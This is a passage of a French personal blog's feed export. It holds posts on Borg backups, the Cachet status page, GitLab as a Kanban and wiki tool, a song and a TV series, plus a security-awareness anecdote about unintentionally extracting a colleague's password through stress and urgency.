<p><i>Borg a pour avantages d'être facile à utiliser au sein de scripts shell et de n'effectuer que des sauvegardes par déduplication (aucune sauvegarde complète n'est faite si ce n'est la première). De même, les commandes sont simples et très bien documentées, proposant ainsi une barrière d'entrée relativement faible pour les non-techniciens.<br class='autobr' />
Si Borg utilise la méthode push (envoi des fichiers sauvegardés à l'initiative du serveur sauvegardé) pour effectuer les sauvegardes, celle-ci ne souffre pas du problème habituel de cette méthode : le risque d'effacement des anciennes sauvegardes par un attaquant s'étant rendu maître de la machine sauvegardée.</i></p>
<p><i>En effet, les dépôts de sauvegardes peuvent être configurés pour n'autoriser que l'ajout de sauvegardes. Un cript sur la machine hébergeant les dépôts pourra faire sauter ce verrou dans le fichier de configuration pour effectuer la suppression des sauvegardes puis remettre le verrou.</i></p>
<p><i>Les sauvegardes de Borg peuvent être chiffrées, fonction que nous avons activée : ces sauvegardes sont stockées sur une storage box de notre hébergeur, une offre ne proposant que de l'espace de stockage avec un rapport volumétrie/prix que nous ne pouvons atteindre en louant des serveurs.</i></p>
<p>Luc présent également Borg de cette façon : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> il est très simple d'usage ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> les données sont dédupliquées ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> les sauvegardes peuvent être compressées ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> les sauvegardes peuvent être effectuées en local ou à distance ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> les sauvegardes peuvent être montées (et donc utilisées) comme un système de fichiers classiques.</p>
<p>Les commandes sont du type</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>borg create -v --stats ./::{now} /home/ #teaser </code></div>
<p>La syntaxe est simple à s'approprier.</p>
<p>Ce qui me plait c'est que les sauvegardes sont effectivement incrémentales, c'est rapide, léger, ça se monte comme système de fichier pour ensuite récupérer / restaurer à base de rsync si on veut, et les sauvegardes sont chiffrées. Que demander de plus ?</p>
<p>Le site officiel <a href="https://borgbackup.readthedocs.io" title="https://borgbackup.readthedocs.io">https://borgbackup.readthedocs.io</a> est assez riche et permet déjà de s'approprier la solution.</p>
<p>Des tutoriels pour apprendre et s'approprier Borg : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.blog-libre.org/2016/08/21/borgbackup-borg-pour-les-intimes/" title="BorgBackup, borg pour les intimes">BorgBackup, borg pour les intimes</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.karolak.fr/blog/2017/05/05/monter-un-serveur-de-sauvegardes-avec-borgbackup/" title="Monter un serveur de sauvegardes avec BorgBackup">Monter un serveur de sauvegardes avec BorgBackup</a></p>
<p>Et un script qui repose sur Borg comme outil de Backup <a href="https://code.ffdn.org/guillaume/concierge" title="Concierge - Set of tools to help system administrator with maintenance and security of Debian systems">Concierge - Set of tools to help system administrator with maintenance and security of Debian systems</a></p>
<p>A noter qu'il est possible <a href="http://borgbackup.readthedocs.io/en/stable/deployment/central-backup-server.html" title="">de faire du Borg avec du Ansible</a>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Cachet
title: Cachet
uri: Cachet
url: https://blog.genma.fr/?Cachet
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2732.jpg?1519631720' width='150' height='79' />
		<div class='rss_texte'><p>L'objectif de Cachet est d'avoir sur une page partagée de façon publique et sous une URL du type status.monsite.com un affichage de l'état de son infrastructure selon différents éléments comme : panne majeur, partielle, une maintenance, un historique.</p>
<p>Plutôt qu'un long discours un bon exemple de mise en oeuvre est la page <a href="https://status.framasoft.org" title="Status.framasoft.org">https://status.framasoft.org</a> qui liste pour les différents services fournis par Framasoft dans le cadre du projet Degooglisons l'état du dit services, les opérations de maintenance ou les problèmes rencontrés.</p>
<p>De plus en plus de service en ligne et d'entreprises proposent une page de ce type. La plupart ont recours au service payant Status.io.</p>
<p>Un logiciel libre existe, Cachet : The Open Source Status Page System <a href="https://cachethq.io/" title="Cachethq.io">cachethq.io</a> et c'est d'ailleurs sur ce logiciel que repose le système de status de Framasoft.</p>
<p>Parmi ces fonctionnalités, Cachet propose donc : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> de lister les différents services
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> de lister et reporter les différents incidents
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> l'interface et l'aspect sont personnalisables via un éditeur de feuille de style
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> le langage Markdown est supporté pour l'édition des messages
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> il y a une API en JSON
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> disponible dans différents langues
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> il est possible de souscrire / s'abonner par mail pour recevoir des messages quand un statut ou un incident est saisi.</p>
<p><strong>Pourquoi Cachet ?</strong></p>
<p>Au delà du fait que ce soit un logiciel libre, il y a le soucis de transparence et de communication vis à vis des clients. Et c'est là,à mon avis un très bonne pratique qui permet de consolider la relation client en créant une relation de confiance : oui il peut y avoir des erreurs, des soucis, des indisponibilités, mais on est transparent (et on suite à l'incident on fait un retour d'expérience, on cherche à comprendre et apprendre pour que l'erreur rencontrée ne se représente pas ; mais c'est là un autre sujet).</p>
<p><strong>Recevoir des notifications</strong></p>
<p>Il est donc possible de s'abonner par mail ou via un fil RSS/Atom que l'on ajoutera à son agrégateur préféré. La configuration du serveur d'envoi de mail se faisant dans le fichier de configuration au moment de l'installation.</p>
<p><strong>Mise en place</strong></p>
<p>Pour installer, il suffit de suivre la documentation <a href="https://docs.cachethq.io/docs/installing-cachet" title="Cachet installation">https://docs.cachethq.io/docs/installing-cachet</a></p>
<p>Il existe également un paquet pour Yunohost <a href="https://github.com/YunoHost-Apps/cachet_ynh" title="Yunohost - Paquet Cachet">https://github.com/YunoHost-Apps/cachet_ynh</a>.</p>
<p><strong>Les petites choses que j'aime bien</strong></p>
<p>C'est assez facile à mettre en place et à utiliser (encore plus dans le cadre du paquet YunoHost). Il est possible de définir des modèles de messages que l'on utilisera selon les besoins. Facile et pratique pour communiquer sur une maintenance régulière par exemple. C'est assez léger (ça reste une page web HTML avec un CSS), c'est simple et efficace et intuitif à l'usage. C'est personnalisable pour avoir le logo de son entreprise et les couleurs / styles du site web si nécessaire.</p>
<p><strong>Prochaine étapes</strong></p>
<p>Dans les prochaines étapes il y a :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> l'installation sur Plesk (l'installation nécessite l'accès aux commandes php & composer, un tutoriel sera donc fait pour expliquer tout ça dès que je l'aurai fait.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> utiliser l'API : pour avoir des modifications automatisées et non plus à la main. Pour cela il existe des modules pour être utilisé avec un service de monitoring (Centreon, Zabbix). Exemple <a href="https://github.com/qk4l/zabbix-cachet" title=" Python script which export Zabbix IT Services to Cachet ">https://github.com/qk4l/zabbix-cachet</a></p></div>
		
		


feed_id: https://blog.genma.fr/?Supergirl-de-Reamonn
title: Supergirl de Reamonn
uri: Supergirl-de-Reamonn
url: https://blog.genma.fr/?Supergirl-de-Reamonn
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2719.jpg?1519976726' width='150' height='79' />
		<div class='rss_texte'><p>A l'été 2000, comme tous les étés, je passais mes vacances en Pologne, dans un tout petit village dans un coin paumé. J'ai sympathisé avec un gars qui est venu passé quelques jours chez sa grand-mère et du coup, nous passons nos après-midi à discuter de tout et de rien, et surtout à regarder la télévision. Car la seule distraction, c'est la télévision par satellite avc un accès à différentes chaînes gratuites. Parmi ces chaînes, des chaînes allemandes et les chaînes musicales VIVA. Ayant appris l'Allemand en 1ère langue depuis le collège, en 2000, je comprends encore assez bien et je peux suivre une émission de télé sans soucis (j'ai beaucoup perdu depuis par manque de pratique). J'ai donc passé des après-midi entier à regarder des clips. L'une des deux chaines, VIVA 2, donne déjà dans le nostalgique avec des clips classiques des années 80.</p>
<p>Dans ces années là, les musiques et les hits du top 50 en Allemagne ne sont pas les mêmes que celles que l'on a en France, je découvre donc des nouveaux groupes, dont des groupes Allemand. Hit du moment, Supergirl de Reamonn passe en boucle plusieurs fois par jour. <a href="https://en.wikipedia.org/wiki/Supergirl_(Reamonn_song)" title="La page Wikipedia de Supergirl, chanson de Reamonn">La page Wikipedia (uniquement en anglais)</a> confirme que ce single n'a été diffusé que dans des pays de l'Est de l'Europe ou Germanophone (Suisse).</p>
<p>Quelques années plus tard, à l'heure de gloire de Kazaa et du modem 56k, j'ai pu retrouvé des fichiers au format mp3 du groupe (ouh le vilain pirate), avant de finir par trouver le CD en import dans une Fnac Parisienne. En 2017, fini le mP3, on est passé au streaming en vidéo avec Youtube et le clip de la chanson est disponible en ligne. Si vous souhaitez le voir, cliquer ici <a href="https://www.youtube.com/watch?v=cTDPyhIQ_xQ" title="Reamonn - Supergirl (Official Video HQ) sur Youtube">Reamonn - Supergirl (Official Video HQ) sur Youtube</a></p>
<p>Un clip d'époque, qui alterne des images du groupe en train de jouer et un mini-film qui raconte une sorte d'histoire. Comme beaucoup de clip de cette époque. Ca a sûrement vieilli, ce n'est pas Thriller de Mickael Jackson niveau réalisation, mais quand je le revois, je repense à cette époque, à mes souvenirs. Ca s'appelle de la nostalgie.</p>
<p>Du même groupe, deux autres chansons sorties en single "Star" et "Josephine", que j'écoute là encore avec nostalgie de la fin des années 90 et de mon adolescence...</p>
<p>Une autre fois, je vous parlerai peut être de ce groupe de rock gothic finlandais, à l'origine du Love Metal, HIM. Avec son symbole de l'Heartgram (un pentagramme en forme de coeur) et ses deux albums phare au titre évocateur "Greatest Lovesongs Vol. 666" et "Razorblade Romance".</p></div>
		
		


feed_id: https://blog.genma.fr/?Lucifer-la-serie
title: Lucifer - la série
uri: Lucifer-la-série
url: https://blog.genma.fr/?Lucifer-la-serie
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2734.jpg?1520159281' width='150' height='86' />
		<div class='rss_texte'><p><span class='spip_document_2546 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/lucifer.jpg?1520159444' width='500' height='287' alt="" /></span></p>
<p><strong>Synopsis</strong></p>
<p>Fatigué d'être le « Seigneur des Enfers », Lucifer Morningstar abandonne son royaume et s'en va à Los Angeles où il est propriétaire d'une boîte de nuit appelée « Lux ». Lucifer a reçu le don de contraindre les gens à révéler leurs désirs les plus profonds. Un soir, Lucifer assiste au meurtre d'une chanteuse pop devant son club. Il décide donc d'aller à la recherche du coupable et croise sur son chemin une policière nommée Chloe Decker, qui résiste à son don et lui met des bâtons dans les roues. Pendant que Lucifer Morningstar et Chloe Decker font équipe pour trouver le meurtrier, Dieu envoie l'ange Amenadiel sur Terre pour convaincre Lucifer de régner à nouveau sur l'Enfer.</p>
<p><strong>La critique de Genma</strong></p>
<p>Découverte un peu par hasard sur conseil d'un couple d'ami, j'ai commencé à regarder la série Lucifer sur Netflix et j'ai accroché à tel point que je suis on ne peut plus à jour sur la diffusion de la série.</p>
<p><span class='spip_document_2547 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/lucifer01.jpg?1520159450' width='500' height='341' alt="" /></span></p>
<p>J'ai beaucoup aimé le personnage de Lucifer. Il a pour principe de ne jamais mentir. De fait quand il parle de sa condition d'ange, de son père, Dieu, de l'Enfer, tout le monde pense qu'il utilise des métaphores, qu'il se crée un personnage de part son prénom insolite... Le décalage et les quiproquo sont de fait nombreux et apporte de l'humour.</p>
<p>L'humour : il est présent régulièrement, avec des personnages intéressants, attachants, dont le background est développé épisode après épisode. Les personnages évoluent, changent, gagnent en profondeur et leurs relations évoluent. Et les rapprochements, la complicité augmentant avec le temps, l'humour est de plus en plus présent dans des remarques, des traits d'esprits. On n'est pas dans le mode "punch line à la Tony Stark comme dans un film de Marvel" mais plus dans des traits d'esprits. Et même de nombreuses références à la pop culture Geek : Lucifer est un geek, à n'en pas douter. J'ai ri jusqu'à plusieurs fois par épisodes.</p>
<p><span class='spip_document_2548 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/lucifer02.jpg?1520159456' width='500' height='282' alt="" /></span></p>
<p>Lucifer joue aussi de son charisme et de son charme, des nombreuses conquêtes qu'il cumule, de son personnage qu'il crée comme pour se protéger de la souffrance. Le tout sur fond de sa relation avec Chloe, mi amour, mi amie, cette ambiguïté permanente, lié à un fil rouge de la saison 2... Lucifer est un personnage complexe, qui évolue. Lucifer, de part sa condition d'être surnaturel, n'est pas à l'aise avec les comportements humains et les codes humains, il dit toujours la vérité. De fait, il heurte les sensibilités des gens mais quand il blesse les gens qui lui sont chers, il souffre. Il apprend à devenir humain, il devient humain. Et je me reconnais dans cette évolution, cette torture de vouloir bien faire et de faire souffrir des gens qu'on aime...</p>
<p>Le fil rouge des différentes saisons est sympathique et facile quand on a vu l'arc des anges de Supernatural (saison 7 et suivantes). Pas de complexité particulière et de volonté de faire un scénario tordue. C'est distrayant, plaisant. Mais efficace.</p>
<p>La musique... Que dire de la musique. Lucifer joue au piano et des parties de chansons et scènes sur fond de musiques sont mémorables. J'ai commencé à revoir des extraits en vidéo sur Youtube. Certaines sont des spoils donc à revoir uniquement quand on a va vue la série. Mais la scènes de reprise au piano de Sinnerman de Nina Simonne ou encore de Unforgiven de Metallica... Elles m'ont données et me donnent encore des frissons à chaque revisionnage.</p>
<p>Évolution et relation des personnages, les acteurs, les scénarios des épisodes, la musique... Définitivement j'adore cette série. Tout me plaît. A recommander.</p></div>
		
		


feed_id: https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal
title: Lifehacking - Gitlab, outil idéal ?
uri: Lifehacking-Gitlab-outil-idéal
url: https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2736.jpg?1520704955' width='150' height='79' />
		<div class='rss_texte'><p>Depuis quelques années, je suis adepte du lifehacking et <a href="https://blog.genma.fr/?-Lifehacking-87-" title="Mes billet sur le Lifefacking">nombreux sont les articles que j'ai écrit sur le sujet</a>. Des Todo j'en ai fait des tas, sur toutes les formes...Je suis familier de toutes les techniques organisationnelles projets comme les RIDA, RACI et autres... J'avais essayé de trouver un formalisme sous forme de tableau pour avoir un suivi des tâches, au sein de nombreuses itérations. Avec de nombreuses colonnes : projet, acteur, date de début, de fin, échéance, priorité, remarques... Mais quelque soit la mise en forme, la façon de faire (un onglet par projet ou autre), cela était toujours aussi peu flexible.</p>
<p><strong>Gitlab</strong></p>
<p>Au sein de mon entreprise, comme nous faisons du développement logiciel, nous avons une instance Gitlab auto-hébergée de la version communautaire. Parmi les fonctionnalités de Gitlab, au delà de l'aspect forge logicielle / hébergement de code, il y a différentes fonctionnalité que nous utilisons de plus en plus et ce pour chaque projet, dans le cadre de notre industrialisation. Dans le présent billet, je voudrais donc faire un retour d'expérience des différents outils.</p>
<p><strong>Le Kanban</strong></p>
<p>Le Kanban est probablement l'outil que j'utilise le plus. J'avais déjà fait des Kanban sur base de post-it dans une mission en AGIL dans une vie antérieure, j'avais un mur chez moi pour la gestion des mes projets personnels avec des post-it de différentes couleurs... Mais cela n'est pas pratique pour un partage, pour un travail à plusieurs et n'a pas de solution pour un usage en mobilité...</p>
<p>Les locaux actuels sont vitrés, les équipes avec lesquelles je travaille sont réparties au sein de différents services... J'ai besoin d'avoir une vision sur les différents projets et de pouvoir la partager.</p>
<p>La solution a donc été la généralisation de la mise en place d'un projet par service avec l'activation du Kanban pour chacun de ces projets. Et un Kanban pour les sous-projets. Je travaille encore avec une todo-liste que j'ai dans un bloc de papier dans lequel je note ma liste de choses à faire, que je raye au fur et à mesure de la journée. Toute tâche qui nécessite plus de détail, de suivi, d'être déléguée est si besoin rayée de la liste et mise dans le Kanban.</p>
<p>Avec le Kanban, j'ai un suivi des actions sur plusieurs jours ou plusieurs semaines, je suis sûr de ne rien oublier. En un ticket, j'ai un numéro de suivi si besoin, un acteur, je peux ajouter des dates. Et sur le ticket, je peux faire un suivi, commenter, ajouter des précisions, des liens vers le wiki et faire vivre l'action. Comme tout est électronique et au sein d'un navigateur web, c'est accessible, partageable. Les commentaires et le suivi sur un ticket sont cachés par défaut mais permettent d'avoir un suivi, de copier coller des échanges par mail, de mettre des liens vers d'autres tickets, des documents, des pages wiki... J'ai l'état d'avancement. Chacun peut commenter le ticket, ajoute des liens vers les pages wiki en cours de rédaction. On sait qui a quelle tâche. On voit l évolution. Il est possible de taguer un fichier avec plusieurs mots clefs chacun associés à une couleur. Il est possible pour chaque ticket de définir des dates de fin, un nombre de jours de réalisation, un "milletsone".</p>
<p>Dans les conseils que je donnerai il y a celui de prêter attention au nom des tickets qui doivent être autoporteur. Il ne doit pas être nécessaire d'ouvrir le fil du discussion du ticket mais il ne faut pas trop détailler non plus dans le titre. Un équilibre se trouve assez facilement au final.</p>
<p>Bref, j'ai trouvé dans le Kanban de Gitlab tout ce que j'avais cherché en essayant de structurer mes suivis d'action dans des fichiers avec colonnes...</p>
<p>En Kanban, j'avais auparavant testé l'usage de celui de Nextcloud (Deck) et celui de Kanboard. Mais celui de Gitlab, au delà de son intégration dans l'écosystème Gitlab, a de suite eu mon adhésion définitive. Un design plus moderne, plus riche, intégré avec tout un écosystème d'outils complet que je présente dans la suite de ce billet.</p>
<p><strong>Le wiki</strong></p>
<p>Pour chaque projet, Gitlab permet de créer un wiki dédié au projet. Chaque page est une page texte au format Markdown, qu'il est possible d'éditer au sein du navigateur même (avec une fonction de prévisualisation). Les fichiers étant des fichiers textes, ils sont suivis dans une branche dédiée par Git, avec toute la puissance niveau historisation que cela peut avoir.</p>
<p>Le wiki est récupérable en local en tant que projet Git, la bonne pratique est donc que chacun clone le wiki comme projet en local. Il n'y a pas de fork d'implémenté au sein même de Gitlab, on ne peut donc pas faire des forks et ensuite des branches etc. Tout le monde travaille donc sur un même dépôt qu'est le wiki ; cela nécessite donc de s'astreindre à certaines règles : mise à jour régulière du serveur vers le local et ce avant toute modification. Remontée rapidement sur le serveur les ajouts fait au wiki localement.</p>
<p>Pour l'édition, comme je le disais, le format est le format Markdown. On peut éditer au sein de l'interface web ou en local. C'est et ça reste du fichier texte. Nous avons mis en place un tutoriel utilisant l'éditeur Atom qui permet l'édition et la prévisualisation du Markdown (pratique pour avoir du WYSIYG) et un plugin Git pour pousser les modifications depuis Atom sur le serveur. Cela facilite la vie pour l'édition du wiki. Je pense que mettrai ce tutoriel en ligne sur ce blog pour le rendre accessible à tous.</p>
<p>La wikification : ce que j'appelle wikification c'est le fait de tracer dans le wiki toute information pertinente qu'il est nécessaire de garder, de conserver, au sein d'une base de connaissances. Nous généralisons, traçons, mettons à jour les procédures, les astuces etc. Tout ce que l'on peut attendre d'un wiki, nous le faisons au sein des wikis des différents projets de Gitlab.</p>
<p>Nous sommes d'ailleurs en train de reverser peu à peu les informations pertinentes en les mettant à jour d'un ancien wiki qui était sous Media Wiki dans le nouveau wiki. Un chantier long et fastidieux, mais nécessaire. L'ancien wiki était peu pratique, devenu lourd avec le temps, rédigé par des générations successives de collaborateurs sans suivi d'un formalisme particulier. Repartir sur une base saine est souvent le mieux à faire et nous le faisons.</p>
<p><strong>L'espace fichier</strong></p>
<p>Initialement prévu pour stocker du code source, nous utilisons cet espace pour stocker une arborescence définie de fichier. Avant il y avait un Intranet mais un simple partage de fichiers (nous n'avons pas de GED), mais avec le temps et l'accumulation des fichiers, c'est un peu devenu un fourre-tout inutilisable et inexploitable.</p>
<p>Nous utilisons donc pour chaque nouveau projet l'espace de fichier pour y stocker les fichiers de travail (fichier de configuration, documentation, procédures) dont nous avons besoin d'avoir une historisation, une centralisation et qui ne sont pas <i>wikifiables</i>.</p>
<p>Dans les pistes en cours d'étude il y a le fait que nous cherchons à pouvoir convertir des notes saisies en Markdown en documentation livrable au client, dans un format LibreOffice Writer avec un template de fichier défini (avec des codes couleurs précis). Un projet comme Pandoc pour la conversion avec ensuite application d'une feuille de style particulière sera à creuser.</p>
<p><strong>Organisation des projets</strong></p>
<p>Un service donne lieu à un projet, un projet donne lieu à un projet en lui-même dans Gitlab. Les pages wiki et la documentation sont mises au sein du projet pour lequel c'est le plus pertinent. Dans les autres wikis des autres projets, des liens sont fait vers les pages wiki et documentation de références. On utilise ainsi la puissance du web.</p>
<p>Pour faire un suivi à la hiérarchie, lors des réunions hebdomadaires, il <i>suffit</i> de présenter deux planches : une capture d'écran du Kanban prise en semaine N-1 et un une capture du Kanban de la semaine en cours. On peut alors visuellement voir l'avancement avec les tickets déplacés, les tickets en cours...</p>
<p>Bref, Gitlab est devenu un outil incontournable, efficace et indispensable pour moi.</p>
<p><strong>Non intuitif pour les non informaticien.ne.s</strong></p>
<p>Comme nous industrialisons nos projets, tout nouveau projet quel-qu'il soit est désormais créé dans Gitlab. Et le constat a été fait rapidement que dès que l'on sort d'une population purement d'informaticien, Gitlab nécessité des améliorations de son interface graphique pour pouvoir permettre une appropriation de l'outil en particulier dans la partie gestion des fichiers et suivi des modifications, qui restent avant tout pensé comme du "diff de code".</p>
<p>Et je ne suis pas seul à avoir saisi à la fois la puissance de Gitlab et le fait que ce n'est pas adapté aux non-informaticien.ne.s. En effet, dans le cadre de <a href="https://contributopia.org/fr/educ-pop/" title="Framasoft - Contributopia">sa campagne Contributopia de Framasoft</a>, <a href="https://contributopia.org/fr/educ-pop/" title="Framasoft - Contributopia - Éducation populaire - Inspirer les possibles">dans la partie "Éducation populaire - Inspirer les possibles"</a>, il y a un projet <strong>Git à la portée de tou·te·s</strong> dont la description est la suivante : <i>Git est un outil qui permet de collaborer collectivement sur du code. La manière dont il a été conçu ouvre une magnifique porte d'entrée vers les méthodes, pratiques et états d'esprits de la contribution. Comment faire pour que les personnes qui ne codent pas puissent profiter de la philosophie d'un tel outil ? Comment adapter git, son jargon, son interface, etc. afin que tout le monde puisse co-construire et collaborer sur des textes ou d'autres communs contributifs ? Des projets existent et c'est avec eux que Framasoft désire étudier des solutions.</i></p>
<p><strong>Conclusion(s)</strong></p>
<p>Au bout de quelques jours, Gitlab est devenu comme une révélation, un peu comme si je venais de trouver l'outil miracle. Nombreux sont les avantages que j'ai trouvé (me demandant même comment je faisais avant). Dans les autres avantages à avoir toute ma gestion au sein d'un même outil c'est que c'est pratique pour faire les sauvegardes.</p>
<p>Dans les autres petites choses que j'aimerai avoir et sur lesquelles il faut que je me penche, il y a celles d'avoir des métriques ou des statistiques en utilisant le temps de réalisation des tickets. Ce sera sûrement le sujet d'un autre billet, quand j'aurai pris le temps de me pencher sur ce sujet. Hop, c'est ajouté au backlog dans le kanban.</p></div>
		
		


feed_id: https://blog.genma.fr/?Comment-j-ai-fait-du-social-engineering
title: Comment j ai fait du social engineering... inconsciemment
uri: Comment-j-ai-fait-du-social-engineering-inconsciemment
url: https://blog.genma.fr/?Comment-j-ai-fait-du-social-engineering
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2735.jpg?1520673429' width='150' height='79' />
		<div class='rss_texte'><p><strong>L'ingénierie sociale</strong></p>
<p><i>L'ingénierie sociale ("social engineering") est une technique qui vise à accéder à des informations confidentielles ou à certains actifs par la manipulation de personnes qui y ont accès directement ou indirectement. Le « phishing » (hameçonage) est un exemple d'ingénierie sociale.</i></p>
<p>Je ne m'attarderai pas plus sur le concept, on trouve des tas d'informations sur le sujet et quand on est à minima sensibilisé à la sécurité en informatique, le concept d'ingénierie sociale est quelque chose que l'on connaît. Dans le présent billet je voudrais relater une aventure que j'ai eu dans laquelle j'ai, comme le dit le titre de ce billet de blog, fait du social engineering... inconsciemment.</p>
<p><strong>Mon anecdote</strong></p>
<p>Dans le cadre de mon travail, j'avais besoin d'un accès à une plateforme particulière. Fin de journée, journée difficile. La seule personne qui a le compte d'accès est partie et est dans les transports en commun. Je l'appelle. La personne estime que la création d'un compte pour moi peut attendre son arrivée chez elle d'ici une heure, quand elle aura accès à un ordinateur.</p>
<p>Journée difficile pour moi, j'ai un stress communicatif et je mets donc la personne en situation de stress. Elle insiste sur le fait que cela puisse attendre ; j'insiste sur l'urgence et la nécessité de pouvoir me connecter. Je demande son identifiant et mot de passe pour pouvoir me connecter et faire la manipulation de création de compte.... La personne a fini par m'envoyer dans l'urgence via un canal <i>sécurisé</i> (un sms via Silence avec action du chiffrement) son identifiant et mot de passe. J'ai pu accéder au site web, m'ajouter un compte administrateur (avec un mot de passe issu de Keepass).</p>
<p>Le lendemain, j'ai fait une sensibilisation à l'hygiène numérique au collaborateur. En effet, étant désormais en possession de son mot de passe, même si elle peut avoir confiance en moi, cette confiance doit rester relative. Je l'ai donc inviter à changer son mot de passe et surtout à vérifier que le mot de passe donné était utilisé uniquement pour ce compte là et non un mot de passe générique que la personne utiliserait partout / pour tous ses comptes (règle d'hygiène numérique de base : avoir un coffre-fort numérique de mot de passe comme Keepaas).</p>
<p><strong>En quoi est-ce de l'ingénierie sociale ? Et ce qu'il faut retenir de tout ça</strong></p>
<p>Dans mon cas, le stress communicatif a fait que j'ai obtenu le mot de passe. Je ne l'ai pas fait volontairement, mais j'ai agi en utilisant une technique bien connue de l'ingénierie sociale : mettre la personne en situation de stress, avoir un ton direct et autoritaire, jouer sur l'autorité, l'urgence. Trouver le levier qui fait que la personne cède. On peut aller loin juste en parole : "tu ne veux pas que j'appelle ton supérieur qui alors va te faire des remontrances..." par exemple.</p>
<p>Cette expérience montre donc qu'il est très simple de faire de l'ingénierie sociale. Dans mon cas la personne me connaissait et j'avais une relation de hiérarchie indirecte sur elle. Mais si cela avait été un attaquant, sûr de lui, sachant pertinemment ce qu'il faisait avec un collaborateur ayant accès à des données plus sensibles ?</p>
<p>Nous avons eu une formation de sensibilisation à la sécurité. Je prévois de moi-même en faire d'autres. Nous avons et nous continuons sans cesse (dans le cadre de l'amélioration continue) améliorer notre politique de gestions des comptes et des mots de passe (je dois faire un billet dédié sur le sujet).</p>
<p>Mais on constate que malgré tout ça, il reste encore des services qui ont un seul accès maître détenu par une seule personne, ce qui est un point de fragilité, comme le montre mon histoire (quid d'une personne en congés etc...). Et que l'on a beau mettre en place toutes les mesures de sécurité que l'on veut, la faille de l'humain reste encore la plus facile à exploiter...</p>
<p>Il faut dès que possible favoriser une double authentification car dès lors que l'on a un identifiant et un mot de passe</p></div>
		
		


feed_id: https://blog.genma.fr/?Autocensure-nouvelle-reflexion-sur-le-sujet
title: Autocensure, nouvelle réflexion sur le sujet
uri: Autocensure-nouvelle-réflexion-sur-le-sujet
url: https://blog.genma.fr/?Autocensure-nouvelle-reflexion-sur-le-sujet
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2740.jpg?1521387598' width='150' height='79' />
		<div class='rss_texte'><p>Dans un précédent billet <a href="https://blog.genma.fr/?Reflexions-sur-l-autocensure" title="Réflexions sur l'autocensure">Réflexions sur l'autocensure</a>, je me posais la question de ma propre censure du fait que <a href="https://blog.genma.fr/?Du-pseudonymat-au-pseudonyme" title="Du pseudonymat au pseudonyme">mon pseudonymat était devenu un pseudonyme</a> et donc connu de mon employeur et de ma hiérarchie qui lit certains billets de ce blog.</p>
<p>Ajouter à ça, il y a le fait que l'accumulation de billets de partages et de confessions personnelles m'avait valu un P.O.C. (Proof of Concept) démontrant qu'un doaxing serait préjudiciable (Lire <a href="https://blog.genma.fr/?Menage-sur-ce-blog" title="Ménage sur ce blog">Ménage sur ce blog</a>).</p>
<p>Toutefois, comme je l'explique dans ma conférence <a href="https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme" title="Conférence Du pseudonymat au pseudonyme"> Du pseudonymat au pseudonyme</a>, ma propre évolution et le recul que je peux avoir sur elle, ce partage d'expérience, peut s'avérer utile à d'autres. Tout comme moi-même je m'enrichis du partage d'expérience d'autres (que ce partage soit technique ou humain), je pense que certaines personnes peuvent s'enrichir, se faire leur propre opinion, trouver des réponses à des questions qu'elles se posent au travers de mes propres billets de blog partageant mes réflexions.</p>
